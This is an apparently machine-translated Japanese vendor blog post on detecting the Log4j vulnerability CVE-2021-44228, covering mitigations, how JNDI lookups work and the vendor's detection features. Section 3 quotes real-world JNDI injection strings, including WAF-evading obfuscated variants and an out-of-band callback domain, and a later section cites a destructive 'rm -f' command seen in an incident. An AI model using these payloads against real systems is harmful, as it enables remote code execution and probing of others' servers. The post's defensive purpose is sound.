Stellar Cyber:Log4jの脆弱性と悪用の検出

Albert Zhichun Li

1. 序章

過去数日間、Log4jの深刻な脆弱性 (CVE-2021-44228CVE-2021-45046) により、インターネットの世界で最悪の状況が発生しました。 簡単に悪用可能な脆弱性を持つ広く使用されているJavaロギングユーティリティとして、Log4jは間違いなくIT専門家や企業を神経質にし、多くの質問が提起されています–この脆弱性とは何ですか? システムが脆弱かどうかをどのように知ることができますか? 私のITインフラストラクチャはすでに侵害されていますか? この脆弱性を利用した将来の攻撃を防ぐために何ができますか?

Stellar Cyberでは、状況を注意深く監視しており、このLog4jの脆弱性によってもたらされる不確実性を乗り越えながら、現在および将来の顧客やパートナーに持ち帰りやアドバイスを提供するためにここにいます。

 

2. 影響と緩和

CVE-2021-44228によると、v2.15.0より前のApache Log4j2は、Java Naming and Directory Interface(JNDI)ルックアップによるチェックされていない文字列補間による脆弱性の影響を受けます。 ログメッセージにデータを挿入する知識を持っている攻撃者は、特別な形式のJNDI補間式を作成して挿入し、補間式がLog4jによって評価されるときに、指定されたJNDIエンドポイント(LDAPサーバーなど)から任意のコードをロードして実行できます。

多くの一般的なソフトウェアアプリケーションでLog4jが広く使用されており、その悪用が容易なため、この脆弱性の影響は広範囲に及ぶと予想されます。 セキュリティコミュニティは、Log4jを使用してウェブサイト、ソフトウェア、オープンソースコンポーネント、その他のメーカーを追跡しており、一部の大手企業でさえ脆弱であることを確認しています。

この脆弱性を軽減するために、お客様とパートナーに、既存のLog4jをv2.15.0に更新することをお勧めします。v2.15.0では、JNDI関連の動作がデフォルトで無効になっています。 即時アップグレードが選択できない場合、別の緩和策は、システムプロパティlog4j2.formatMsgNoLookupsをtrueに設定するか(v2.10以降に適用可能)、クラスパスからJndiLookupクラスを削除することです(zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.classを介してv2.10より前のLog4jに適用可能)。

さらに、お客様とパートナーは、既存のJavaを少なくともバージョン6u211、7u201、8u191、または11.0.1に更新することをお勧めします。このバージョンでは、JNDIリモートクラスのロードがデフォルトで無効になっています。

Log4jを使用し、この脆弱性の影響を受ける特定のソフトウェアアプリケーションについては、ソフトウェアベンダーに連絡して、適切なパッチをできるだけ早く適用してください。

 

3. 技術的な詳細

CVE-2021-44228には、脆弱性を構成する2つの重要で関連性のある部分があります。リモートメソッド呼び出し機能を備えたJava Naming and Directory Interface(JNDI)と、JNDIルックアップを使用したLog4jのログ補間のサポートです。

Java Naming and Directory Interface(JNDI、図1)は、Java 2 v1.3にまでさかのぼる、古くからあるが依然として有用な機能です。 Javaアプリケーションに名前付けとディレクトリ機能を提供するため、アプリケーションはJNDIを介して、ライトウェイトディレクトリアクセスプロトコル(LDAP)などのさまざまなサービスプロバイダーを呼び出すことができます。 たとえば、Javaアプリケーションは、URL ldap://some-ldap-server:389/o=SomeObjectID through JNDI to a supported LDAP server some-ldap-server to find and invoke a remote object SomeObject を見つけて呼び出すことができます。

図1.Java Naming and Directory Interface(JNDI)アーキテクチャ
(https://docs.oracle.com/javase/jndi/tutorial/getStarted/overview/index.html)Log4j側では、JNDIルックアップサポートは、高度なロギング機能に対するユーザーの要求に応じて、2013年にv2.0で最初に導入されました。 それ以来、Log4jにより、開発者はログメッセージでJNDIを使用した文字列補間を使用できるようになりました。たとえば、logger.error(“${jndi:ldap://some-ldap-server:389/o=SomeObjectID}”)と書くと、Log4j は補間式を評価し、それに応じてJNDIを呼び出して、リモートサーバーからのログメッセージを構成するデータを取得します。
最後に、8年後の2021年11月30日、Log4jチームは、ログ補間とJNDIルックアップの組み合わせの結果としてのリモートコード実行の脆弱性を認識しました。 1週間後、セキュリティコミュニティとIT業界のほぼ全員が情報を入手し、何らかの形でパニックに陥り始めました。この脆弱性の結果は、Log4jが非常に広く使用されているだけでなく、攻撃者が悪用するには完璧すぎて簡単すぎる方法でLog4jを使用しているために特にひどいものになります。前述のlogger.error(“${jndi:ldap://some-ldap-server:389/o=SomeObjectID}”)の例からわかるように、この脆弱性を悪用するには、攻撃者はどのような種類かを知る必要があります。 注入されたデータの一部は、最終的にLog4jを使用して被害者のシステムによってどこかに記録されます。 実際には、URL、クエリ文字列、ユーザーエージェントを含むすべてのリクエストをログに記録するのが一般的な方法である、最新のネットワークベースのアプリケーションにほとんど精通していない攻撃者にとっては、簡単な成果です。Stellar Cyberでは、過去1週間にお客様やパートナーに対して行われたエクスプロイトの試みを監視してきました。 機械学習を利用したユーザーエージェント異常検出では、次のような異常なユーザーエージェント文字列がすでに検出されています。

  • ${jndi:ldap://xxx.xxx.xxx.xxx:2222/lx-ffff82fd0128500008eac5b861000000005a8343}
  • ${jndi:${lower:l}${lower:d}a${lower:p}://xxx.x:80/callback}
  • ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6sg0p8vc25qalcfvemgcghoy4yyyyyjo.interact.sh}

これらのサンプルの中で、攻撃者は、バニラフォームを使用するだけでなく、${jndi:ldap*に一致しようとするルールベースのWebアプリケーションファイアウォールを回避するためのさまざまなバリエーションを考え出すことによって、脆弱性を悪用するさまざまな方法を調査していることがわかりました。

攻撃者が脆弱性を悪用して深刻な結果をもたらすことは知られていないが、DNSLogを使用して脆弱性を悪用し、ターゲットシステムが脆弱かどうかを調査するなど、単純な調査でも可能性があることは注目に値する。 攻撃者は現時点で将来の資産を収集している可能性があるため、損害を与える可能性があります。

4. Stellar Cyberがどのように役立つかp

Stellar Cyberでは、CVE-2021-44228を悪用する攻撃から防御するために、お客様とパートナーに複数のツールを提供しています。脅威インテリジェンスプロバイダーを通じて、Stellar Cyber Security Sensor(SDS)は、CVE-2021-44228の典型的な悪用を検出するための最新のシグネチャをすでに持っています。

4.1 悪用の検出に関するステラアラート

現在、新しいIDSシグニチャまたはIDSシグニチャのスパイクを検出する次のアラートタイプを提供しています。

  • パブリックからプライベートへのエクスプロイトの異常
  • プライベートからパブリックへのエクスプロイトの異常
  • プライベートからプライベートへのエクスプロイトの異常
  • パブリックからパブリックへのエクスプロイトの異常

アラートの説明または ids.signature フィールドにh “log4j”が含まれているこれらのアラートに注意してください。

4.2 一致したApache Log4jシグネチャを追跡するATH

一致したApache Log4j署名のすべてのインスタンスを追跡する場合は、次のルールを作成することを検討してください(注意:多数のアラートが作成される可能性があります)。

  • – クエリを使用してML-IDS /マルウェアサンドボックスイベントインデックスを検索する ids.signature: log4j.

4.3 URLの偵察とユーザーエージェントの異常検出

攻撃者がさまざまな種類の悪用を探索しているため、AIを利用した異常検出(図2)は、間接的または異常な試みの検出にも役立ちます。

URLの一部にLog4jを使用したURL偵察異常検出から、JavaWebアプリケーションを介して脆弱性を悪用しようとする間接的な試みがいくつか見つかりました。 このような試みには通常、攻撃者が悪用するページをスキャンすることが含まれ、異常な数のHTTP 4xxエラーが発生します。これは、URL偵察異常検出によって検出できます。

私たちの観察によれば、ユーザーエージェント文字列は悪用の主要な手段であるため、ユーザーエージェント異常検出も便利なツールです。 これまでに見られなかった、またはめったに見られなかったUser-Agent文字列を検出することで、悪用の増加傾向に対する追加の防御を提供できます。

すべてのアラートで”log4j” を直接検索するのが妥当な場合があります。 (注意:これは非常にコストのかかるクエリです。データレイクの過負荷につながる可能性のある生データを試さないでください。)

図2.URLの偵察とユーザーエージェントの異常検出

 

4.4 インシデントの相関関係

CVE-2021-44228を悪用しようとする試みは、検出からの単一のアラートをもたらす単一のアクションである可能性があります。 簡単に悪用可能なLog4jに関連する潜在的な進行中の攻撃をさらに調査および追跡するために、追加のインシデント機能(図3)を提供して、潜在的な統合攻撃(つまり、インシデント)を構成する複数の相関アラートとエンティティのセットを相互に関連付けます セキュリティの可視性と管理性を向上させます。 機械学習機能を使用してインシデントを自動的に生成し、関連するアラートを統合されたインシデントにグループ化して、攻撃の解決を改善します。

 

図3.Stellar Cyberのインシデントの相関関係

図4に示すように、CVE-2021-44228の悪用によるインシデントの詳細なタイムラインビューを示しています。インシデント相関は、発生した時間順に並べられた3つの異なる検出からの3つの高度に相関するアラートを自動的にまとめます。 攻撃者が10.11.191.95から10.11.190.88までの悪意のあるユーザーエージェント文字列を挿入しようとした後、10.11.190.88で異常なプロセスの生成が検出され、危険なコマンドxargs -r -0 rm -fを実行するコマンド異常で終了するエージェントの異常。

5. 結論

この投稿では、CVE-2021-44228の要点を共有し、現在および将来の顧客やパートナーにアドバイスを提供しました。また、この不確実な期間にStellarCyberがどのように救済できるかを示しました。 最後のリマインダーとして、影響を受けるソフトウェア(Log4j (to v2.15.0+) and Java (to at least 6u211, 7u201, 8u191, or 11.0.1)を含む)にパッチを適用して更新してください。